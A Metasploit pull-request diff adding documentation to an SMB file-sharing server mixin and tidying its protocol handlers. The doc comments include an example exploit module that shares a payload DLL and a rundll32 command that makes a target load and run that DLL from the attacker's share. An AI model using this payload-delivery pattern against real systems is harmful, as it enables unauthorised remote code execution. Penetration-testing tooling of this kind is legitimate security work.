Merge pull request #4 from jvazquez-r7/review_3074_documentation

Add documentation and specs. All tests pass on my end! Thanks @jvazquez-r7

Author: Matthew Hall

lib/msf/core/exploit/smb/server/share.rb

@@ -10,7 +10,106 @@
 
 module Msf
   module Exploit::Remote::SMB::Server
-    # This mixin provides a minimal SMB server
+    # This mixin provides a minimal SMB server sharing an UNC resource. At
+    # this moment it is capable to share just one file. And the file should
+    # live in the root folder "\\".
+    #
+    # @example Use it from an Auxiliary module
+    #   require 'msf/core'
+    #
+    #   class Metasploit3 < Msf::Auxiliary
+    #
+    #     include Msf::Exploit::Remote::SMB::Server::Share
+    #
+    #     def initialize
+    #       super(
+    #         'Name'        => 'SMB File Server',
+    #         'Description'    => %q{
+    #           This module provides a SMB File Server service
+    #         },
+    #         'Author'      =>
+    #           [
+    #             'Matthew Hall',
+    #             'juan vazquez'
+    #           ],
+    #         'License'     => MSF_LICENSE,
+    #         'Actions'     =>
+    #           [
+    #             ['Service']
+    #           ],
+    #         'PassiveActions' =>
+    #           [
+    #             'Service'
+    #           ],
+    #         'DefaultAction'  => 'Service'
+    #       )
+    #     end
+    #
+    #     def run
+    #       print_status("Starting SMB Server on #{unc}...")
+    #       exploit
+    #     end
+    #
+    #     def primer
+    #       print_status("Primer...")
+    #       self.file_contents = 'METASPLOIT'
+    #     end
+    #   end
+    #
+    # @example Use it from an Exploit module
+    #   require 'msf/core'
+    #
+    #   class Metasploit3 < Msf::Exploit::Remote
+    #     Rank = ExcellentRanking
+    #
+    #     include Msf::Exploit::EXE
+    #     include Msf::Exploit::Remote::SMB::Server::Share
+    #
+    #     def initialize(info={})
+    #       super(update_info(info,
+    #         'Name'           => "Example Exploit",
+    #         'Description'    => %q{
+    #           Example exploit, the Server shares a DLL embedding the payload. A session
+    #           can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
+    #           from the target.
+    #         },
+    #         'License'        => MSF_LICENSE,
+    #         'Author'         =>
+    #           [
+    #             'Matthew Hall',
+    #             'juan vazquez'
+    #           ],
+    #         'References'     =>
+    #           [
+    #             ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
+    #           ],
+    #         'Payload'        =>
+    #           {
+    #             'Space'       => 2048,
+    #             'DisableNops' => true
+    #           },
+    #           'Platform'       => 'win',
+    #           'Targets'        =>
+    #             [
+    #               ['Windows XP SP3 / Windows 2003 SP2', {}],
+    #             ],
+    #           'Privileged'     => false,
+    #           'DisclosureDate' => "Mar 02 2015",
+    #           'DefaultTarget'  => 0))
+    #
+    #       register_options(
+    #         [
+    #           OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
+    #         ], self.class)
+    #
+    #       deregister_options('FILE_CONTENTS')
+    #     end
+    #
+    #     def primer
+    #       self.file_contents = generate_payload_dll
+    #       print_status("File available on #{unc}...")
+    #     end
+    #   end
     module Share
       require 'msf/core/exploit/smb/server/share/command'
       require 'msf/core/exploit/smb/server/share/information_level'
@@ -66,13 +165,32 @@ module Share
         CONST::SMB_WRITE_OWNER_ACCESS |
         CONST::SMB_SYNC_ACCESS
 
-      attr_accessor :unc
+      TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS |
+        CONST::SMB_READ_EA_ACCESS |
+        CONST::SMB_EXECUTE_ACCESS |
+        CONST::SMB_READ_ATTRIBUTES_ACCESS |
+        CONST::SMB_READ_CONTROL_ACCESS |
+        CONST::SMB_SYNC_ACCESS
+
+      # @!attribute share
+      #   @return [String] The share portion of the provided UNC.
       attr_accessor :share
+      # @!attribute path_name
+      #   @return [String] The folder where the provided file lives.
+      #   @note UNSUPPORTED
       attr_accessor :path_name
+      # @!attribute file_name
+      #   @return [String] The file name of the provided UNC.
       attr_accessor :file_name
+      # @!attribute hi
+      #   @return [Fixnum] The high 4 bytes for the file 'created time'.
       attr_accessor :hi
+      # @!attribute lo
+      #   @return [Fixnum] The low 4 bytes for the file 'created time'.
       attr_accessor :lo
-      attr_accessor :exe_contents
+      # @!attribute file_contents
+      #   @return [String] The contents of the provided file
+      attr_accessor :file_contents
 
       def initialize(info = {})
         super
@@ -85,32 +203,41 @@ def initialize(info = {})
           ], Msf::Exploit::Remote::SMB::Server::Share)
       end
 
+      # Setups the server configuration.
       def setup
         super
 
-        print_status("Setup...")
-
-        # TODO: Improve tree directories support
-        self.path_name = '\\'
+        self.path_name = '\\' # TODO: Add subdirectories support
         self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
         self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
-        self.unc = "\\\\#{srvhost}\\#{share}\\#{file_name}"
 
         t = Time.now.to_i
         self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)
 
         # The module has an opportunity to set up the file contents in the "primer callback"
         if datastore['FILE_CONTENTS']
-          File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.exe_contents = f.read }
+          File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
         else
-          self.exe_contents = Rex::Text.rand_text_alpha(50 + rand(150))
+          self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
         end
       end
 
+      # Builds the UNC Name for the shared file
+      def unc
+        "\\\\#{srvhost}\\#{share}\\#{file_name}"
+      end
+
+      # Builds the server address.
+      #
+      # @return [String] The server address.
       def srvhost
         datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
       end
 
+      # New connection handler, executed when there is a new conneciton.
+      #
+      # @param c [Socket] The client establishing the connection.
+      # @return [Hash] The hash with the client data initialized.
       def smb_conn(c)
         @state[c] = {
           :name         => "#{c.peerhost}:#{c.peerport}",
@@ -123,11 +250,13 @@ def smb_conn(c)
         }
       end
 
-      #
-      # Main dispatcher function
-      # Takes the client data and performs a case switch
+      # Main dispatcher function. Takes the client data and performs a case switch
       # on the command (e.g. Negotiate, Session Setup, Read file, etc.)
       #
+      # @param cmd [Fixnum] The SMB Command requested.
+      # @param c [Socket] The client to answer.
+      # @param buff [String] The data including the client request.
+      # @return [Fixnum] The number of bytes returned to the client as response.
       def smb_cmd_dispatch(cmd, c, buff)
         smb = @state[c]
 
@@ -141,25 +270,26 @@ def smb_cmd_dispatch(cmd, c, buff)
 
         case cmd
           when CONST::SMB_COM_NEGOTIATE
-            smb_cmd_negotiate(c, buff)
+            return smb_cmd_negotiate(c, buff)
           when CONST::SMB_COM_SESSION_SETUP_ANDX
             word_count = pkt['Payload']['SMB'].v['WordCount']
-            if word_count == 0x0D # Share Security Mode sessions
-              smb_cmd_session_setup_andx(c, buff)
+            if word_count == 0x0d # Share Security Mode sessions
+              return smb_cmd_session_setup_andx(c, buff)
             else
-              print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
-              smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
+              print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
+              return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
             end
           when CONST::SMB_COM_TRANSACTION2
-            smb_cmd_trans2(c, buff)
+            return smb_cmd_trans2(c, buff)
           when CONST::SMB_COM_NT_CREATE_ANDX
-            smb_cmd_nt_create_andx(c, buff)
+            return smb_cmd_nt_create_andx(c, buff)
           when CONST::SMB_COM_READ_ANDX
-            smb_cmd_read_andx(c, buff)
+            return smb_cmd_read_andx(c, buff)
           when CONST::SMB_COM_CLOSE
-            smb_cmd_close(c, buff)
+            return smb_cmd_close(c, buff)
           else
-            smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
+            print_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
+            return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
         end
       end
     end

lib/msf/core/exploit/smb/server/share/command/close.rb

@@ -5,21 +5,29 @@ module Exploit::Remote::SMB::Server
     module Share
       module Command
         module Close
+
+          # Handles an SMB_COM_CLOSE command, used by the client to close an instance
+          # of an object associated with a valid FID.
           #
-          # Responds to a client CLOSE request
-          #
+          # @param c [Socket] The client sending the request.
+          # @param buff [String] The data including the client request.
+          # @return [Fixnum] The number of bytes returned to the client as response.
           def smb_cmd_close(c, buff)
             send_close_res(c)
           end
 
+          # Builds and sends an SMB_COM_CLOSE response.
+          #
+          # @param c [Socket] The client to answer.
+          # @return [Fixnum] The number of bytes returned to the client as response.
           def send_close_res(c)
             pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
             smb_set_defaults(c, pkt)
 
             pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
             pkt['Payload']['SMB'].v['Flags1'] = FLAGS
             pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
-            pkt['Payload']['SMB'].v['WordCount'] = 0
+            pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT
 
             c.put(pkt.to_s)
           end

lib/msf/core/exploit/smb/server/share/command/negotiate.rb

@@ -5,9 +5,13 @@ module Exploit::Remote::SMB::Server
     module Share
       module Command
         module Negotiate
+
+          # Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an
+          # SMB connection between the client and the server.
           #
-          # Negotiates a SHARE session with the client
-          #
+          # @param c [Socket] The client sending the request.
+          # @param buff [String] The data including the client request.
+          # @return [Fixnum] The number of bytes returned to the client as response.
           def smb_cmd_negotiate(c, buff)
             pkt = CONST::SMB_NEG_PKT.make_struct
             pkt.from_s(buff)
@@ -29,6 +33,21 @@ def smb_cmd_negotiate(c, buff)
             })
           end
 
+          # Builds and sends an SMB_COM_CLOSE response.
+          #
+          # @param c [Socket] The client to answer.
+          # @param opts [Hash{Symbol => <String, Fixnum>}] Response custom values.
+          # @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request.
+          # @option opts [Fixnum] :security_mode Security modes supported or required by the server.
+          # @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports.
+          # @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server.
+          # @option opts [Fixnum] :max_buff Largest SMB message that the server can handle.
+          # @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses.
+          # @option opts [Fixnum] :server_time_zone The server's time zone.
+          # @option opts [Fixnum] :capabilities The server capability indicators.
+          # @option opts [Fixnum] :key_length The challenge length.
+          # @option opts [String] :key The challenge.
+          # @return [Fixnum] The number of bytes returned to the client as response.
           def send_negotitate_res(c, opts = {})
             dialect = opts[:dialect] || 0
             security_mode = opts[:security_mode] || 0
@@ -47,7 +66,7 @@ def send_negotitate_res(c, opts = {})
             pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
             pkt['Payload']['SMB'].v['Flags1'] = FLAGS
             pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
-            pkt['Payload']['SMB'].v['WordCount'] = 17
+            pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT
             pkt['Payload'].v['Dialect'] = dialect
             pkt['Payload'].v['SecurityMode'] = security_mode
             pkt['Payload'].v['MaxMPX'] = max_mpx

lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb

@@ -5,9 +5,13 @@ module Exploit::Remote::SMB::Server
     module Share
       module Command
         module NtCreateAndx
+
+          # Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and
+          # open a new file.
           #
-          # Responds to a client NT_CREATE_ANDX request
-          #
+          # @param c [Socket] The client sending the request.
+          # @param buff [String] The data including the client request.
+          # @return [Fixnum] The number of bytes returned to the client as response.
           def smb_cmd_nt_create_andx(c, buff)
             smb = @state[c]
             pkt = CONST::SMB_CREATE_PKT.make_struct
@@ -25,7 +29,7 @@ def smb_cmd_nt_create_andx(c, buff)
             if payload.ends_with?(file_name)
               fid = smb[:file_id].to_i
               attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
-              eof = exe_contents.length
+              eof = file_contents.length
               is_dir = 0
             elsif payload.eql?(path_name)
               fid = smb[:dir_id].to_i
@@ -34,8 +38,7 @@ def smb_cmd_nt_create_andx(c, buff)
               is_dir = 1
             else
               # Otherwise send not found
-              smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
-              return
+              return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
             end
 
             send_nt_create_andx_res(c, {
@@ -47,6 +50,16 @@ def smb_cmd_nt_create_andx(c, buff)
             })
           end
 
+          # Builds and sends an SMB_COM_NT_CREATE_ANDX response.
+          #
+          # @param c [Socket] The client to answer.
+          # @param opts [Hash{Symbol => <Fixnum>}] Response custom values.
+          # @option opts [Fixnum] :file_id A FID representing the file or directory created or opened.
+          # @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory.
+          # @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes)
+          # @option opts [Fixnum] :is_directory Indicates if the FID represents a directory.
+          # @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server.
+          # @return [Fixnum] The number of bytes returned to the client as response.
           def send_nt_create_andx_res(c, opts = {})
             file_id = opts[:file_id] || 0
             attributes = opts[:attributes] || 0
@@ -59,7 +72,7 @@ def send_nt_create_andx_res(c, opts = {})
             pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
             pkt['Payload']['SMB'].v['Flags1'] = FLAGS
             pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
-            pkt['Payload']['SMB'].v['WordCount'] = 42
+            pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT
             pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
             pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File
             pkt['Payload'].v['FileID'] = file_id